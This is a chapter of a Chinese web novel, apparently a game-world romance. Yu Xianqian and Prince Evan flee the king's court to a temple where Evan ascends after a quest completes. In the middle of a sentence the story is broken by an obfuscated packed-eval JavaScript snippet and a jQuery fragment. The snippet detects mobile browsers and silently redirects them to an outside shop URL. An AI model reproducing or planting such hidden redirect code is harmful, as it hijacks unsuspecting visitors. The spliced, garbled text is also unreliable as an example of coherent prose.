很熟悉的一个称呼。
二殿下。
如果没记错的话,有一个木头模特就是打算背刺“二殿下”去投奔“大殿下”。联合在这个王宫中众人对待埃文的方式以及那一些规则,其实不难看出埃文在宫中过得很不好,也让她一个不属于这个世界的人只是给了他一点点的温暖都能让他对自己死心塌地。
跟在佝偻人的身后,俞纤千很紧张,但埃文看上去更紧张,双手揪着衣角,险些把衣角弄皱了。还是俞纤千及时把他的手拿过来牵住,不然国王定是要治他一个衣衫不整的“殿前失仪”。
被国王召见的地方在一个高台之下。
“吾儿。”上方的人看不清脸,但声音一出,埃文跪下了。俞纤千见状也跟着跪下。
“陛下,儿臣在。”
“唉……”国王缓缓站起身,走到台阶前仔仔细细端详着自己第二子的面庞,眸中却没有半点温情,“六年不见,吾儿已经这么大了啊。”
六年不见?俞纤千甚至要怀疑自己有没有听错。这个国王六年没有见他的亲儿子么?
“吾儿自出生以来便被关在那种地方,父亲知晓后也是痛心疾首。今日唤你来此,便是要给你一个交代。”他的手中一个变幻,拿出了一个水晶球。
“昨日本王邀请大祭司来宫中一叙,这一叙便是发现了问题。近日,西方不太平,疑似……遭受了诅咒。”
“诅咒”两个字一出现,俞纤千想起了佣人房中的红字,也是说皇宫中出现了诅咒。
“吾在想,这诅咒是否与你有关,但是已经有不少人给了吾答案。”
“……”埃文不敢说话,静静等待着国王的下文。
“就是你,造成了诅咒。你并没有被冤枉。”
“不可能!儿臣自出生以来,谨小慎微,从不忤逆陛下与朝中一切大臣,为何儿臣会与诅咒有关……?”
“吾也并非故意这样说,但是众口难调,此观念已深入人心。吾必须要有所作为,不枉费全天下对吾的信任。”
这样一说,埃文知道了。
自己是弃子。
自己无法留在宫中做他的王子了,可能会被杀,可能会被流放,可能会沦为阶下囚……
但他怎么能甘心?
自己被俞纤千授予王冠,自己被她夸赞也能有所成就……但面对这片大陆最位高权重的国王,他能有什么办法?
他只能听国王的,离开这里,做他无权势的王子,或者说普通人……但身边只要有她就够了,她是自己爱的人,她也爱自己不是么?
大门开了,这一次开的不是大殿的门,而是王宫的门,通往……
【那个地方】。
埃文再次找到了方向,难掩自己心底的激动朝着大门走去。俞纤千也跟上。但是就在这一瞬间,她又被一团虚无的东西拦住了。
“……怎么回事?”她看了一眼正殿中的摆钟。
上午十点,时间没错。难道今天不是周四?但埃文却能够正常离开说明必然是四点。
“姐姐?”埃文回过头,却看见俞纤千和自己始终隔着这样一段不可逾越的距离,着急地想往回走。
但是他失败了。那一扇门拦住了俞纤千也拦住了自己。自己回不去,俞纤千过不来。
埃文只觉得心里一阵怒火。自己好不容易固执地想和一个人一起走,现在的结局却还是要和她分开么?
但他是凡人。这种明显是半血或是纯血才能制造出的结界,他作为一个凡人毫无办法。他很悲哀,很绝望,很痛苦,也很……想毁灭。
他的身上有一张羊皮纸药方可助他逆天改命,但那种语言,只有【那个地方】的人有解法。但他还听说过一个别的东西和药方上的内容相似……
伪装术。
伪装术可以让他短暂地获得别的种族的身份。
比如台上那位尊贵的人魔半血,他的亲生父亲,国王。按理来说作为国王这个半血的孩子,他也该继承少说四分之一的魔族血脉,但他成长至今都只是一个可怜的纯血凡人。
其中发生了什么他还不知道。但这股恨意足够让他成魔。
袖中还有一把小刀。刀尖略微探出袖口,他的手指划过刀锋,鲜血渗出,他抹在了自己裸露的小臂上。随后有一股力量从指尖的流血处,顺着小臂上的痕迹蔓延至全身,在心口处结合恨意。
他感受到了力量。
而他自幼便以凡人之躯学习法术的理论知识,有了力量的加持,就像在枯木中点燃了火焰一般,他成功凝结这份力量并使用。
“啪啦——”
结界碎了。
在他和俞纤千之间再无阻隔之后,他眼中的恨意快速消散,化为担忧,“姐姐!快出来!!”
俞纤千闻言不敢耽误一瞬,迈出结界后抱住了埃文——因为他太矮了。
国王身上的冷意,地上埃文的血迹,还有王宫中终年笼罩的灰白被他们抛在了身后。最后回头看一眼,那个世界如同被冻结了一般。而彻底离开结界后,俞纤千才得以窥见这结界外世界的全貌。
他们真的在离开后直接到了魂牵梦萦的【那个地方】。地上只有她能看见的晶蓝色地标说明了这一切。此处和刚才王宫内的阴暗和压迫不同,而是一片光明和圣洁。
俞纤千不禁问道:“这里……”
埃文凝视着眼前那片白色建筑物,喃喃道:“这里是神殿。”
神殿?俞纤千觉得这个名字太熟悉了,似乎从第一个副本中就听过这个名字。当时的设定是,神都住在神殿中,而神女……
以及塞缪尔之前说过的,神都陨落了。
埃文走了进去,一路行至高台之上,却直直跪下了。因为他的眼前是一幢雕塑,是女人的身形,一袭薄纱哪怕是用水泥筑起也依旧轻盈。
他看着雕塑的眼神迷茫,却满是眷恋。俞纤千看着那座雕塑,心底不禁泛起一丝熟悉感,并不是对那个人熟悉,而是……很难描述。
“她是……?”
“神女大人,雅芙兰。”
“雅芙兰……”这个名字不是在第一个副本中出现过么?丧家犬弹过一首钢琴曲,《雅芙兰的祝福》。于是她看着雕像询问埃文,“神女也在这里么?”
俞纤千终究还是好奇神女到底是什么模样,或者她到底是不是神女。但是丧家犬摇了摇头。
“神女大人已不在这里了。她已殒身了。至于转世……也不知道是在什么时候,什么地点。”
俞纤千讶异。没想到在游戏中贯穿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641441|205891||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
始终的神女早就去世了么?
“那么她假如再次转世,样貌可还会变?”
“不知道。没有人能知道神的转世会以怎样的形式。或许就算神女已经成功转世并将生,那个时候,无人能认出她。转世就是这样一件残忍的事。”
俞纤千沉默了。转世的设定的确是残忍。无论是谁都会死,凡人死了便是死了,会带着新的自己再次进行新的人生。但神族或是精灵或是魔族,他们死了之后意识消亡,醒来之后可能就是在一个新的时代,身边的一切都变了,而他们自己会带着前世记忆,或是欢喜的,或是痛苦的,继续他们的一生。
何其残忍。
“所以你来这里就是为了找神女么?”
“不。”埃文摇了摇头,“神女大人于我有恩,但现在,我有更重要的事要做……”
那把小刀再次出现,划破了他的手腕。俞纤千还以为埃文是想自残,刚要阻止却听见他说:“姐姐不用担心,我不会因为被国王抛弃就做那样的傻事。生命于我而言是最重要的,我的一生便是为了实现我的追求。这条命,远远没有用尽它的价值。”
血液从他的手腕处涌出,滴落在了神女的雕像上。那一瞬间埃文眼底的猩红让俞纤千胆战心惊,又有些似曾相识。
那个房间内,他就是这样看着自己。
然而雕像转动,如同神女在石台上跳着不知名的舞。光晕环绕着他们格外扎眼。再次睁眼,高台之上竟又蔓延开了好几级台阶,一直延伸到最高处。
那里就是埃文要去的地方。
“我的目的,是让高台上的人替我解惑。我有一张药方,但是上面的文字我看不懂。辗转多地我才知晓,只有神殿中的大地之神认识这种文字。”
俞纤千听着听着越发奇怪。
药房?古文字?这说法怎么这么像……上一个世界的塞缪尔?
他也是和自己一起找到了那张药方,最终发现上面的文字实在太过古老,便孤身一人想去找。她刚想发问,却发现面前的人已经看着她,一步步后退。
“我该走了。上面的神在召唤我。姐姐,我不能在此处多留了。但我会记得你,记得你好久好久。我忘记了很多事,但在我迷茫的一生中,唯一不想忘记的人就是你。”
「叮!当前支线任务二【与男主相恋】完成进度100%
主线任务【将男主送到想去的地方】完成进度100%
玩!家!【咸鱼】!此副本完美通关~您是我的神!!!」
俞纤千此时却根本不想听副本聒噪。她想知道面前的人是不是塞缪尔,想和他……永远不分开,但他似乎要走了。
“等等——!”
“姐姐,我们还会再见的。下一次见面,我不想拖你的后腿,我想做一个能独挡一面,能保护你的人。还有就是……”他一边后退,一边流泪,“我是大人,一个想和你在一起的……大人。”
天旋地转。是卡出副本的前兆。
她已经要看不清埃文的脸了。
但是在最后一瞬间,她看见一步步走上台阶的埃文似乎真的在长高,长身玉立,金色卷发,蓝眸……
好熟悉,真的好熟悉。
……
“小咸鱼~?”